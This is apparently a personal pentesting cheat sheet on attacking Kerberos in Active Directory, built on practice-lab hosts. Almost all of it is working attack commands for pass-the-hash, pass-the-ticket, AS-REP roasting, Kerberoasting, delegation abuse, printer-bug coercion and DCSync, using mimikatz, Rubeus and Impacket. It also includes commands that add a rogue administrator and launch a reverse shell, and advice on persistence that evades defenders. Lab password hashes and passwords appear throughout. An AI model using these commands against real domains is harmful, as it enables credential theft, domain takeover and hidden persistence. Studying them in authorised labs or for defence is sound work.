# Kerberos

## Autentication Process

<figure><img src="/files/Qp0HfgilTsEVqtOfsfH3" alt=""><figcaption></figcaption></figure>

* Authentication Service (**AS**): Verifies client credentials and issues Ticket-Granting Tickets (**TGT**s).
* Ticket-Granting Service (**TGS**): Provides service-specific tickets based on a valid TGT.
* Client-Server Model: The **AP-REQ** (Authentication Protocol Request) message is used **by a client to authenticate to a service** after obtaining a service ticket (TGS).

{% hint style="info" %}
When working with Kerberos on Linux, we need to use the target's DNS server or configure our host machine with the corresponding DNS entries for the domain we are targeting. That is, we need to have an entry in `/etc/hosts` and `/etc/krb5.conf` for the domain/Domain Controller before attacking it.
{% endhint %}

## Download Kerbrute

```sh
# Download Kerbrute
Intrusionz3r0X@htb[/htb]$ git clone <https://github.com/ropnop/kerbrute>
Intrusionz3r0X@htb[/htb]$ go build -ldflags "-s -w" .
Intrusionz3r0X@htb[/htb]$ upx kerbrute
```

## Kerberos Linux Configuration

### File: /etc/krb5.conf

```bash
#Install kerberos
Intrusionz3r0X@htb[/htb]$ sudo apt-get install krb5-user -y
#Reconfigure Kerberos
Intrusionz3r0X@htb[/htb]$  sudo dpkg-reconfigure krb5-config
#Manual kerberos configuration
Intrusionz3r0X@htb[/htb]$ sudo nano /etc/krb5.conf
```

In case the package `krb5-user` is already installed, we need to change the configuration file `/etc/krb5.conf` to include the following values:

```bash
Intrusionz3r0X@htb[/htb]$ cat /etc/krb5.conf
[libdefaults]
	default_realm = LUSTROUS2.VL
[realms]
	LUSTROUS2.VL = {
		kdc = 10.10.94.178
		admin_server = 10.10.94.178
	}
[domain_realm]
	.lustrous2.vl = LUSTROUS2.VL
```

### File: **/etc/hosts**

This is the way I recommend to set up the /etc/hosts&#x20;

```
Intrusionz3r0X@htb[/htb]$ cat /etc/hosts
192.168.110.55 DOMAIN FQDN COMPUTERNAME
```

**Test to make sure everything is ok:**

```sh
Intrusionz3r0X@htb[/htb]$ getTGT.py domain.local/username:password
Intrusionz3r0X@htb[/htb]$ export KRB5CCNAME=username.ccache
Intrusionz3r0X@htb[/htb]$ smbclient.py -k @dc.domain.local
```

## Awesome Wordlists

{% embed url="<https://github.com/insidetrust/statistically-likely-usernames>" %}

{% embed url="<https://github.com/attackdebris/kerberos_enum_userlists>" %}

## Pass the Hash

<pre class="language-powershell"><code class="lang-powershell">#PTH Evil-WinRM 
Intrusionz3r0X@htb[/htb]$ evil-winrm -i 10.129.201.126 -u Administrator -H 30B3783CE2ABF1AF70F77D0660CF3453

#PTH Impacket
Intrusionz3r0X@htb[/htb]$ impacket-psexec administrator@10.129.201.126 -hashes :30B3783CE2ABF1AF70F77D0660CF3453
<strong>
</strong><strong>#PTH with netexec (--local-auth is helpful if we obtain a local administrator hash and we want to check how many (if any) other hosts we can access due to local admin password re-use. )
</strong><strong>Intrusionz3r0X@htb[/htb]$ netexec smb 10.129.201.126 -u Administrator -d . -H 30B3783CE2ABF1AF70F77D0660CF3453 
</strong>
#Enable Restricted Admin Mode to Allow PtH (DisableRestrictedAdmin)
reg add HKLM\\System\\CurrentControlSet\\Control\\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f
Intrusionz3r0X@htb[/htb]$ xfreerdp  /v:10.129.201.126 /u:julio /pth:64F12CDDAA88057E06A81B54E73B949B

#PTH through mimikatz
c:\\tools> .\\mimikatz.exe privilege::debug "sekurlsa::pth /user:Administrator /rc4:30B3783CE2ABF1AF70F77D0660CF3453 /domain:inlanefreight.htb /run:cmd.exe" exit

#Execute commands Pth
PS c:\\tools\\Invoke-TheHash> Import-Module .\\Invoke-TheHash.psd1
PS c:\\tools\\Invoke-TheHash> Invoke-SMBExec -Target 172.16.1.10 -Domain inlanefreight.htb -Username julio -Hash 64F12CDDAA88057E06A81B54E73B949B -Command "net user mark Password123 /add &#x26;&#x26; net localgroup administrators mark /add" -Verbose

#Get Reverse shell Pth
PS c:\\tools\\Invoke-TheHash> Import-Module .\\Invoke-TheHash.psd1
PS c:\\tools\\Invoke-TheHash> Invoke-WMIExec -Target DC01 -Domain inlanefreight.htb -Username julio -Hash 64F12CDDAA88057E06A81B54E73B949B -Command ""

#More examples
Invoke-WMIExec -Target DC01 -Domain inlanefreight.htb -Username julio -Hash 64F12CDDAA88057E06A81B54E73B949B -Command "powershell -e Base64revshell"
Invoke-SMBEnum -Target DC01 -Domain inlanefreight.htb -Username julio -Hash 64f12cddaa88057e06a81b54e73b949b
Invoke-SMBClient -Domain inlanefreight.htb -Username julio -Hash 64f12cddaa88057e06a81b54e73b949b -Source \\\\DC01\\julio\\
Invoke-SMBClient -Domain inlanefreight.htb -Username julio -Hash 64f12cddaa88057e06a81b54e73b949b -Action Get -Source \\\\DC01\\julio\\julio.txt
</code></pre>

{% embed url="<https://github.com/Kevin-Robertson/Invoke-TheHash>" %}

## Pass the ticket

### Windows

<pre class="language-powershell"><code class="lang-powershell">#Create Sacrificial Processes
PS C:\Tools> .\Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" /show

#Dump tickets from memory
PS C:\Tools> .\Rubeus.exe triage

#Reviewing Ticket Associated with our Session
<strong>PS C:\Tools> klist
</strong>
#Extract ticket from rubeus
PS C:\Tools> .\Rubeus.exe dump /luid:0x89275d /service:krbtgt /nowrap
PS C:\Tools> .\mimikatz.exe privilege::debug "sekurlsa::tickets /export" exit

#Ask to Rubeus for a new valid TGT using the one we just extracted (Good Practice)
C:\Tools> Rubeus.exe renew /ticket:doIFVjCCBVKgAwIBBaEDA&#x3C;SNIP> /ptt

#Importing Ticket into Windows Session with Rubeus
PS C:\Tools> C:\\tools\\Rubeus.exe ptt /ticket:c:\\tools\\julio.kirbi
#Importing Ticket into Windows Session with Mimikatz
PS C:\Tools> .\\mimikatz.exe privilege::debug "kerberos::ptt c:\\tools\\julio.kirbi" exit

#Read Domain Controller's File System
PS C:\Tools> dir \\FQDN\\c$
</code></pre>

### Linux

{% hint style="success" %}
If you compromise a `Linux server` as `root` user try to obtain`/etc/krb5.keytab` to  extract NT hash computer account. Computer accounts can be used to enumerate the domain controller, run bloodhound or use it to abuse of `RBCD` attacks.
{% endhint %}

```sh
#Extracting Keytab Hashes with KeyTabExtract
Intrusionz3r0X@htb[/htb]$ python3 keytabextract.py /opt/specialfiles/carlos.keytab
```

**Tool**: [KeyTabExtract](https://github.com/sosdave/KeyTabExtract.git)

**Note**: Linux machines store Kerberos tickets as [ccache files](https://web.mit.edu/kerberos/krb5-1.12/doc/basic/ccache_def.html) in the `/tmp` directory.

```sh
#Identifying Linux and Active Directory Integration.
Intrusionz3r0X@htb[/htb]$ realm list
Intrusionz3r0X@htb[/htb]$ ps -ef | grep -i "winbind\\|sssd"

#Finding Keytab Files (To use a keytab file, we must have read and write (rw) privileges on the file.)
Intrusionz3r0X@htb[/htb]$ find / -name *keytab* -ls 2>/dev/null

# It's possible to find keytabs in automated scripts running as crontask
Intrusionz3r0X@htb[/htb]$ crontab -l

#Reviewing Environment Variables for ccache Files.
Intrusionz3r0X@htb[/htb]$ env | grep -i krb5
Intrusionz3r0X@htb[/htb]$  ls -la /tmp

#Listing keytab File Information
Intrusionz3r0X@htb[/htb]$ klist
Intrusionz3r0X@htb[/htb]$ klist -k -t #reads information from a keytab file

#import ticket into our session with kinit.
Intrusionz3r0X@htb[/htb]$ kinit carlos@INLANEFREIGHT.HTB -k -t /opt/specialfiles/carlos.keytab

#Importing the ccache File into our Current Session
Intrusionz3r0X@htb[/htb]$ klist
#klist: No credentials cache found (filename: /tmp/krb5cc_0)
Intrusionz3r0X@htb[/htb]$ cp /tmp/krb5cc_647401106_I8I133 .
Intrusionz3r0X@htb[/htb]$  export KRB5CCNAME=/root/krb5cc_647401106_I8I133
Intrusionz3r0X@htb[/htb]$ klist

#Linixkatz Download and Execution
Intrusionz3r0X@htb[/htb]$ wget https://raw.githubusercontent.com/CiscoCXSecurity/linikatz/master/linikatz.sh
Intrusionz3r0X@htb[/htb]$ /opt/linikatz.sh
```

### Pass the ticket via HTTP

To authenticate as a user for HTTP interactions with a domain controller, you must first export the ticket and then utilize the `/ptt` option to import it into the current session. Subsequently, you can employ the `-UseDefaultCredentials` parameter to utilize the credentials linked to the PowerShell terminal, which in this instance corresponds to the ticket of the current user.

**Example:**

<figure><img src="/files/VhQUFNZWGn1O90pdmf7X" alt=""><figcaption><p>Kerberos authentication</p></figcaption></figure>

<figure><img src="/files/eimbF0b6qOHD3poGnGYH" alt=""><figcaption><p>Golden ticket as Tony.Ward</p></figcaption></figure>

```powershell
PS C:\Users\Administrator\Desktop> (iwr http://lusdc.lustrous.vl/Internal -UseBasicParsing -UseDefaultCredentials).Content
<SNIF>
                                <tr>
                                    <td>
                                        4
                                    </td>
                                    <td>
                                        Password Reminder
                                    </td>
                                    <td>
                                        U_cPVQqEI50i1X
                                    </td>
                                    <td>
                                        lustrous_tony.ward
<SNIF>
```

## **Pass the Key attack or OverPass the Hash**

{% hint style="info" %}
Mimikatz requires administrative rights to perform the Pass the Key/OverPass the Hash attacks, while Rubeus doesn't.
{% endhint %}

<pre class="language-powershell"><code class="lang-powershell">#Mimikatz - Extract Kerberos Keys
<strong>PS C:\\tools> .\\mimikatz.exe privilege::debug "sekurlsa::ekeys" exit
</strong>
#Forge a ticket using mimikatz.
PS C:\\tools> .\\mimikatz.exe privilege::debug "sekurlsa::pth /domain:inlanefreight.htb /user:plaintext /ntlm:3f74aa8f08f712f09cd5177b5c1ce50f" exit
<strong># Forge a ticket using Rubeus. You can use (rc4, aes128,aes256, or des)
</strong>PS C:\\tools> .\\Rubeus.exe asktgt /domain:inlanefreight.htb /user:plaintext /aes256:b21c99fc068e3ab2ca789bccbef67de43791fd911c6e15ead25641a8fda3fe60 /nowrap

#Submit the ticket (TGT or TGS) to the current logon session. (Import)
PS C:\\tools> .\\Rubeus.exe asktgt /domain:inlanefreight.htb /user:plaintext /rc4:3f74aa8f08f712f09cd5177b5c1ce50f /ptt
PS c:\\tools> .\\Rubeus.exe ptt /ticket:[0;6c680]-2-0-40e10000-intrusionz3r0@krbtgt-inlanefreight.htb.kirbi
PS C:\\tools> .\\mimikatz.exe privilege::debug "kerberos::ptt c:\\tools\\[0;56343]-2-0-40e10000-julio@krbtgt-INLANEFREIGHT.HTB.kirbi" exit

#Convert .kirbi to Base64 Format and Pass the Ticket - Base64 Format
PS c:\\tools> [Convert]::ToBase64String([IO.File]::ReadAllBytes("c:\\tools\\[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi"))
PS c:\\tools> Rubeus.exe ptt /ticket:doIE1jCCBNKgAwIBBaEDAgE&#x3C;SNIP>

# Once the tickets has been imported. (Lateral Movement)
PS C:\\tools> Enter-PSSession -ComputerName DC01
</code></pre>

## Kerberos User enumeration

```sh
Intrusionz3r0@htb[/htb]$ ./kerbrute userenum -d inlanefreight.local --dc 10.129.191.155  usernamelist.txt
```

## Kerberos Password Spraying

```sh
Intrusionz3r0@htb[/htb]$ ./kerbrute passwordspray --dc 10.129.191.155 -d inlanefreight.local domainuserlist.txt 'HTBRocks!'
```

## **Kerberos bruteforcing**

```
Intrusionz3r0@htb[/htb]$ ./kerbrute bruteuser -d inlanefreight.local passwords.lst username
```

## **Convert ccache file (linux) to kirbi file (windows) and** vice versa

```sh
# Windows -> UNIX
Intrusionz3r0X@htb[/htb]$ impacket-ticketConverter $ticket.kirbi $ticket.ccache

# UNIX -> Windows
Intrusionz3r0X@htb[/htb]$ impacket-ticketConverter $ticket.ccache $ticket.kirbi
```

## AS-REPRoasting

ASREPRoast is a security attack that exploits users who lack the **Kerberos pre-authentication required attribute**. Essentially, this vulnerability allows attackers to request authentication for a user from the Domain Controller (DC) without needing the user's password.

**Requirements:**

* **Lack of Kerberos pre-authentication**: Target users must not have this security feature enabled.
* **Connection to the Domain Controller (DC)**: Attackers need access to the DC to send requests and receive encrypted messages.

<figure><img src="/files/uL3aID9CpeDCX19bYkyA" alt=""><figcaption></figcaption></figure>

### **Windows**

```powershell
PS C:\Tools> Import-Module .\PowerView.ps1
PS C:\Tools> Get-NetUser -PreauthNotRequired 
PS C:\Tools> Get-DomainUser -UACFilter DONT_REQ_PREAUTH
PS C:\Tools> .\Rubeus.exe asreproast /format:hashcat  /outfile:hashes.asreproast.txt
```

### **Linux**

```sh
#AS-REPRoastable Users Enumeration
Intrusionz3r0@htb[/htb]$ GetNPUsers.py inlanefreight.local/pixis
#Requesting AS-REPRoastable Hashes (param: -request)
Intrusionz3r0@htb[/htb]$ GetNPUsers.py inlanefreight.local/pixis -request    
#Finding Vulnerable Accounts without Authentication
Intrusionz3r0@htb[/htb]$ GetNPUsers.py INLANEFREIGHT/ -dc-ip 10.129.205.35 -usersfile /tmp/users.txt -format hashcat -outputfile /tmp/hashes.txt -no-pass
```

### **Cracking**

```powershell
Phashcat.exe -m 18200 C:\Tools\hashes.txt C:\Tools\rockyou.txt -O
```

### Persistence&#x20;

if we find that we have `GenericAll` privileges on an account, instead of resetting the account password, we can enable the `DONT_REQ_PREAUTH` flag to make a request to get the hash of this account and try to crack it

```powershell
PS C:\Tools> Import-Module .\PowerView.ps1
PS C:\Tools> Set-DomainObject -Identity userName -XOR @{useraccountcontrol=4194304} -Verbose

PS C:\Tools> Get-ADUser Jorden | Set-ADAccountControl -doesnotrequirepreauth $true

Intrusionz3r0@htb[/htb]$ bloodyAD -u <username> -p <password> -d <domain> --host <host> add uac -f DONT_REQ_PREAUTH
```

#### AS-REP Roasting Usage in Red Team Operations:

1. **Persistence:**
   * Red Teams may enable the **DONT\_REQ\_PREAUTH** flag on specific accounts to bypass pre-authentication requirements.
   * This allows attackers to regain access to accounts even after a password change.
   * It is particularly useful for establishing persistence on less-monitored devices, such as printers, which are often outside active monitoring scopes.
   * Accounts with this flag are commonly found on service accounts for legacy management applications, which the Blue Team might overlook.
2. **Privilege Escalation:**
   * In some cases, attackers can modify account attributes without needing to know or reset the password.
   * Resetting passwords is risky because it has a high likelihood of triggering alerts.
   * Instead of resetting the password, attackers enable the **DONT\_REQ\_PREAUTH** flag and attempt to crack the account's password hash to gain access.

## Kerberoasting

Kerberoasting focuses on the acquisition of **TGS tickets**, specifically those related to services operating under **user accounts** in **Active Directory (AD)**, excluding **computer accounts**. The encryption of these tickets utilizes keys that originate from **user passwords**, allowing for the possibility of **offline credential cracking**.

* Find for SPN  services are `executed` by `user accounts`. (A user account has a password set by a human, which is much more likely to be predictable.)
* `COMPUTERNAME$` have 120 characters long randomly generated passwords. (Impossible to crack it)

### Windows

Script to find SPN services are executed by users.

```powershell
$search = New-Object DirectoryServices.DirectorySearcher([ADSI]"")
$search.filter = "(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*))"
$results = $search.Findall()
foreach($result in $results)
{
    $userEntry = $result.GetDirectoryEntry()
    Write-host "User" 
    Write-Host "===="
    Write-Host $userEntry.name "(" $userEntry.distinguishedName ")"
        Write-host ""
    Write-host "SPNs"
    Write-Host "===="     
    foreach($SPN in $userEntry.servicePrincipalName)
    {
        $SPN       
    }
    Write-host ""
    Write-host ""
}
```

```powershell
PS C:\Users\pixis> .\FindSPNAccounts.ps1
```

```powershell
#Enumerate SPN with PowerView
PS C:\Tools> Import-Module .\PowerView.ps1
PS C:\Tools> Get-DomainUser -SPN

#Kerberoasting with PowerView
PS C:\Tools> Import-Module .\PowerView.ps1
PS C:\Tools> Get-DomainUser * -SPN | Get-DomainSPNTicket -format Hashcat | export-csv .\tgs.csv -notypeinformation

#Kerberoasting fastest way
PS C:\Tools> Import-Module .\PowerView.ps1
PS C:\Tools> Invoke-Kerberoast
```

**Rubeus.exe**

```
C:\Tools> C:\Tools>Rubeus.exe kerberoast /nowrap
```

* `/outfile:filename.txt` Output on file.
* `/pwdsetafter` and `/pwdsetbefore`  whose password was set within a particular date helpful to  find legacy accounts with a password set many years ago that is outside of the current password policy and relatively easy to crack.
* &#x20;`/stats`  useful for gathering information and checking the types of encryption the account tickets use.
* `/tgtdeleg`  force rubeus to return RC4 tickets.

{% hint style="info" %}
&#x20;`AES-128 (type 17)` and `AES-256 (type 18)`  can be significantly more difficult to crack than `RC4 (type 23)` tickets.&#x20;
{% endhint %}

### **Kerberoasting without an Account Password**

**Requirements**:

* User with NotPreAuthentication
* Target SPN or a list of SPNs.
* Use a createnetonly cmd of rubeus

```powershell
#Execute Rubeus createnetonly
C:\Tools> Rubeus.exe createnetonly /program:cmd.exe /show #mandatory
#Performing the Attack with /nopreauth
C:\Tools> Rubeus.exe kerberoast /nopreauth:amber.smith /domain:inlanefreight.local /spn:MSSQLSvc/SQL01:1433 /nowrap
```

{% hint style="info" %}
Note: Instead of `/spn` we can use `/spns:listofspn.txt` to try multiple SPNs.
{% endhint %}

### Linux

```powershell
Intrusionz3r0@htb[/htb]$ GetUserSPNs.py inlanefreight.local/pixis
Intrusionz3r0@htb[/htb]$ GetUserSPNs.py inlanefreight.local/pixis -request

#--------Manual Mode------------
#Listing SPN Accounts
C:\\htb> setspn.exe -Q */*

#Retrieving All Tickets Using setspn.exe
PS C:\\htb> setspn.exe -T INLANEFREIGHT.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

#Targeting a Single User
PS C:\\htb> Add-Type -AssemblyName System.IdentityModel
PS C:\\htb> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "<user>.inlanefreight.local:1433"

#Extracting Tickets from Memory 
PS C:\\htb> mimikatz.exe privilege::debug "base64 /out:true" "kerberos::list /export" exit
PS C:\\htb> .\\Rubeus.exe kerberoast /domain:FREIGHTLOGISTICS.LOCAL /user:mssqlsvc /nowrap

#Preparing the Base64 Blob for Cracking
Intrusionz3r0X@htb[/htb]$ echo "<base64 blob>" |  tr -d \\\\n 

#Placing the Output into a File as .kirbi
Intrusionz3r0X@htb[/htb]$ cat encoded_file | base64 -d > sqldev.kirbi

#Extracting the Kerberos Ticket using kirbi2john.py
Intrusionz3r0X@htb[/htb]$ python2.7 kirbi2john.py sqldev.kirbi

#Modifiying crack_file for Hashcat
Intrusionz3r0X@htb[/htb]$ sed 's/\\$krb5tgs\\$\\(.*\\):\\(.*\\)/\\$krb5tgs\\$23\\$\\*\\1\\*\\$\\2/' crack_file > sqldev_tgs_hashcat
```

### Cracking

```sh
hashcat.exe -m 13100 C:\Tools\kerb.txt C:\Tools\rockyou.txt -O
```

### **Persistence**

```powershell
Set-DomainObject -Identity <username> -Set @{serviceprincipalname='just/whateverUn1Que'} -verbose 
```

## **Unconstrained Delegation**

{% embed url="<https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html>" %}

### **Unconstrained Delegation on** Computers

If we are able to compromise a server that has unconstrained delegation enabled, and a Domain Administrator subsequently logs in, we will be able to extract their TGT and use it to move laterally and compromise other machines, including Domain Controllers.

```powershell
#Monitor the computer to find high privilege user.
PS C:\Tools> .\Rubeus.exe monitor /interval:5 /nowrap

#Group enumeration
PS C:\Tools> Import-Module .\PowerView.ps1
PS C:\Tools> Get-DomainGroup -MemberIdentity sarah.lafferty

#Identify the available shares
PS C:\Tools> net view \\COMPUTERNAME

#Create a createnetonly shell
PS C:\Tools> .\Rubeus.exe createnetonly /program:cmd.exe /show

#Request a TGS
PS C:\Tools> .\Rubeus.exe asktgs /ticket:doIFmTCCBZWgAwIBBaE<SNIP>LkxPQ0FM /service:cifs/dc01.INLANEFREIGHT.local /ptt
PS C:\Tools> .\Rubeus.exe renew /ticket:doIFmTCCBZWgAwIBBaE<SNIP>LkxPQ0FM /ptt

```

If you user possesses `SeMachineAccountPrivilege` and `SeEnableDelegationPrivilege` you can add a fake computer and abuse unconstrained delegation.

<pre class="language-powershell"><code class="lang-powershell"><strong>#Creating Fake Machine
</strong>PS C:\Users\N.Thompson\Documents> Import-Module .\Powermad.ps1
PS C:\Users\N.Thompson\Documents> New-MachineAccount -MachineAccount EVIL -Password $(ConvertTo-SecureString 'Password123' -AsPlainText -Force)
impacket-addcomputer  delegate.vl/N.Thompson:KALEB_2341 -computer-name z3r0 -computer-pass Password123

<strong>#Adding TRUSTED_FOR_DELEGATION
</strong>PS C:\Users\N.Thompson\Documents> Set-MachineAccountAttribute -MachineAccount evil -Attribute useraccountcontrol -Value 528384
bloodyAD -u 'N.Thompson' -p 'KALEB_2341' --host dc1.delegate.vl -d delegate.vl add uac 'z3r0$' -f TRUSTED_FOR_DELEGATION

#Adding HTTP/CIFS SPN's
PS C:\Users\N.Thompson\Documents> Set-MachineAccountAttribute -MachineAccount evil -Attribute ServicePrincipalName -Value HTTP/EVIL.delegate.vl -Append
PS C:\Users\N.Thompson\Documents> Set-MachineAccountAttribute -MachineAccount evil -Attribute ServicePrincipalName -Value CIFS/EVIL.delegate.vl -Append
❯ python3 ./addspn.py -u 'delegate.vl\N.Thompson' -p 'KALEB_2341' -s 'HTTP/z3r0.delegate.vl' -t 'z3r0$' -dc-ip 10.10.79.76 dc1.delegate.vl
❯ python3 ./addspn.py -u 'delegate.vl\N.Thompson' -p 'KALEB_2341' -s 'CIFS/z3r0.delegate.vl' -t 'z3r0$' -dc-ip 10.10.79.76 dc1.delegate.vl

#Running KRBRelayX
python3 krbrelayx.py -hashes :58a478135a93ac3bf058a5ea0e8fdb71
#Coering Authentication
python3 printerbug.py delegate.vl/'EVIL$:Password123'@10.10.111.117 evil.delegate.vl
</code></pre>

### Printer Bug

If an attacker  compromised a host configured with unconstrained delegation and has the s**pool service running.**

&#x20;The attacker might coerce a target domain  to authenticate back to the compromised host  and retrieve the TGT for domain controller for subsecuenlty perform a DCSync attack.&#x20;

{% embed url="<https://github.com/leechristensen/SpoolSample>" %}

```powershell
#Enumerate Unconstrained Delegation
PS C:\> Get-ADComputer -Identity "DC01" -Properties msDS-AllowedToDelegateTo, UserAccountControl | Select-Object Name, UserAccountControl, msDS-AllowedToDelegateTo

#Monitor for TGS
PS C:\Tools> .\Rubeus.exe monitor /interval:5 /nowrap

# trigger the Printer Bug by running the SpoolSample tool
PS C:\Tools> .\SpoolSample.exe dc01.inlanefreight.local sql01.inlanefreight.local

#Get a new TGT in memory
PS C:\Tools> .\Rubeus.exe renew /ticket:doIFZjCCBWKgAwI<SNIP> /ptt

#Perform DCSync attack
C:\Tools> mimikatz.exe privilege::debug "lsadump::dcsync /user:Administrator" exit

#Ask to for Administrator's TGT
PS C:\Tools> .\Rubeus.exe asktgt /rc4:a83b750679b1789e29e966d06c7e41f7 /user:Administrator /ptt

#Access to the domain controller
PS C:\Tools> dir \\dc01.inlanefreight.local\c$
```

If the target computer is not a domain controller,  An attacker can use `S4U2self` to obtain a Service Ticket on behalf of any user we want to impersonate.

```
PS C:\Tools> .\Rubeus.exe s4u /self /nowrap /impersonateuser:Administrator /altservice:CIFS/dc01.inlanefreight.local /ptt /ticket:doIFZjCCBWKgAwIBBaEDAgEWooIEWTCCB<SNIP
```

### **Unconstrained Delegation on** **Users**

```powershell
#PowerView Enumeration Unconstrained Delegation
PS C:\Tools> Import-Module .\PowerView.ps1
PS C:\Tools> Get-DomainUser -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
```

**Requirements:**

1. **Compromise account with Unconstrained Delegation**
2. **User with GenericWrite over the compromise account**

* Create a DNS record pointing to our attack machine, representing a fake computer in the Active Directory environment.
* Add the SPN **CIFS/our\_dns\_record** to the compromised account, which has unconstrained delegation.
* When a victim tries to connect via SMB to our fake machine, it will send a copy of its **TGT** in the **TGS** ticket as it requests a ticket for **CIFS/our\_dns\_record**.
* The **TGS** ticket will be sent to the IP address registered in the DNS record, which is our attack machine.
* Extract the **TGT** from the received **TGS** ticket and use it to perform a DCSync Attack

<pre class="language-sh"><code class="lang-sh">#Create Fake DNS Record
Intrusionz3r0@htb[/htb]$ git clone -q https://github.com/dirkjanm/krbrelayx; cd krbrelayx
Intrusionz3r0@htb[/htb]$ python dnstool.py -u INLANEFREIGHT.LOCAL\\&#x3C;user> -p &#x3C;password> -r roguecomputer.INLANEFREIGHT.LOCAL -d &#x3C;attacket-ip> --action add &#x3C;dc-ip>

#Add the SPN to the target account
Intrusionz3r0@htb[/htb]$ python addspn.py -u inlanefreight.local\\&#x3C;user-genericwrite> -p &#x3C;password>  --target-type samname -t &#x3C;username-unconstraineddelegation> -s CIFS/roguecomputer.inlanefreight.local dc01.inlanefreight.local

#Use the Compromised User  to decrypt the recieved TGS.
Intrusionz3r0@htb[/htb]$ python3 krbrelayx.py --krbsalt 'callum.dixon' --krbpass 'C@lluMDIXON' --target dc01.inlanefreight.local    

#PrinterBug (Tools)
Intrusionz3r0@htb[/htb]$ python3 printerbug.py inlanefreight.local/carole.rose:jasmine@10.129.213.113 roguecomputer.inlanefreight.local
Intrusionz3r0@htb[/htb]$ python dementor.py -u pixis -p p4ssw0rd -d inlanefreight.local roguecomputer.inlanefreight.local dc01.inlanefreight.local 

#Import Ticket
export KRB5CCNAME='DC01$@INLANEFREIGHT.LOCAL_krbtgt@INLANEFREIGHT.LOCAL.ccache'   
<strong>
</strong><strong>#Perform DCSync Attack
</strong>impacket-secretsdump -k -no-pass dc01.inlanefreight.local

#Authenticate as Administrator
impacket-psexec Administrator@10.129.213.113 -hashes aad3b435b51404eeaad3b435b51404ee:a83b750679b1789e29e966d06c7e41f7
</code></pre>

## **Constrained Delegation**

In constrained delegation, delegation is only allowed for a specific list of SPNs. If an attacker has compromised a service account with constrained delegation, they can relay received authentication attempts to one or more SPNs in the list.

* Restricts the service to impersonate a user **only for specific services**.
* Instead of sending the TGT, a special TGS ticket is issued for allowed services.

### Impersonate Any User

If this constrained delegation allows `protocol transition`, we can pretend to be anyone, arbitrarily, to authenticate against these services.&#x20;

<figure><img src="/files/gHrqRfxFwVGC1Pon58M4" alt=""><figcaption></figcaption></figure>

We can use the `S4U2Self` extension if protocol transition is enabled. It allows a service to obtain a forwardable service ticket to itself on behalf of `any user`.

Since we can retrieve a TGS ticket as any user, we can perform the previous attack without waiting for anyone's authentication.

```powershell
PS C:\Tools> Import-Module .\PowerView.ps1
PS C:\Tools> Get-DomainComputer -TrustedToAuth
logoncount                    : 35
<SNIF>
samaccountname                : DMZ01$
samaccounttype                : MACHINE_ACCOUNT
msds-allowedtodelegateto      : {www/WS01.INLANEFREIGHT.LOCAL, www/WS01}
<SNIF>
useraccountcontrol            : WORKSTATION_TRUST_ACCOUNT, TRUSTED_TO_AUTH_FOR_DELEGATION
<SNIF>
name                          : DMZ01
dnshostname                   : DMZ01.INLANEFREIGHT.LOCAL
```

The account **DMZ01$** has **TRUSTED\_TO\_AUTH\_FOR\_DELEGATION** with protocol transition set, and the only allowed service for delegation is **www/WS01.inlanefreight.local**.

<pre class="language-powershell"><code class="lang-powershell"><strong>#Obtain the NTLM of DMZ01$
</strong><strong>PS C:\Tools> .\mimikatz.exe privilege::debug sekurlsa::msv exit
</strong>#Constrained Delegation Attack
PS C:\Tools> .\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:www/WS01.inlanefreight.local /altservice:HTTP /user:DMZ01$ /rc4:ff955e93a130f5bb1a6565f32b7dc127 /ptt
#Show imported tickets
PS C:\Tools> klist
#Remote access 
PS C:\Tools> Enter-PSSession ws01.inlanefreight.local
</code></pre>

<pre class="language-sh"><code class="lang-sh"><strong>Intrusionz3r0@htb[/htb]$ impacket-findDelegation INLANEFREIGHT.LOCAL/beth.richards:'B3thR!ch@rd$'
</strong>Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

AccountName    AccountType  DelegationType                      DelegationRightsTo                SPN Exists 
-------------  -----------  ----------------------------------  --------------------------------  ----------
callum.dixon   Person       Unconstrained                       N/A                               No         
beth.richards  Person       Constrained w/ Protocol Transition  TERMSRV/DC01.INLANEFREIGHT.LOCAL  Yes        
beth.richards  Person       Constrained w/ Protocol Transition  TERMSRV/DC01                      Yes        
DMZ01$         Computer     Constrained w/ Protocol Transition  www/WS01.INLANEFREIGHT.LOCAL      No         
DMZ01$         Computer     Constrained w/ Protocol Transition  www/WS01                          No         
SQL01$         Computer     Unconstrained                       N/A                               Yes        

Intrusionz3r0@htb[/htb]$ impacket-getST -spn TERMSRV/DC01 'INLANEFREIGHT.LOCAL/beth.richards:B3thR!ch@rd$' -impersonate Administrator
Intrusionz3r0@htb[/htb]$ export KRB5CCNAME=./Administrator@TERMSRV_DC01@INLANEFREIGHT.LOCAL.ccache
Intrusionz3r0@htb[/htb]$ impacket-psexec -k -no-pass INLANEFREIGHT.LOCAL/administrator@DC01 -debug
</code></pre>

### User possesses GenericAll over Computer leads to Constrained Delegation

<pre class="language-powershell"><code class="lang-powershell">#Adding TRUSTED_TO_AUTH_FOR_DELEGATION 
❯ bloodyAD -u 'Helen.Frost' -p 'Passsword123!' -d redelegate.vl --dc-ip 10.10.98.61 add uac 'FS01$' -f TRUSTED_TO_AUTH_FOR_DELEGATION
Set-ADAccountControl -Identity "FS01$" -TrustedToAuthForDelegation $True

#Setting msDS-AllowedToDelegateTo attribute
<strong>❯ bloodyAD -u 'Helen.Frost' -p 'Passsword123!' -d redelegate.vl --dc-ip 10.10.98.61 set object 'FS01$' 'msDS-AllowedToDelegateTo' -v 'ldap/dc.redelegate.vl'
</strong>PS C:\Temp> Set-ADObject -Identity "CN=FS01,CN=COMPUTERS,DC=REDELEGATE,DC=VL" -Replace @{"msDS-AllowedToDelegateTo"="ldap/dc.redelegate.vl"}
PS C:\Temp> Get-ADComputer FS01 -Properties msDS-AllowedToDelegateTo

#Requesting Ticket Granting Service using S4u
❯ impacket-getST 'redelegate.vl'/'FS01$':'Passsword123!' -impersonate dc -spn 'ldap/dc.redelegate.vl' 2>/dev/null
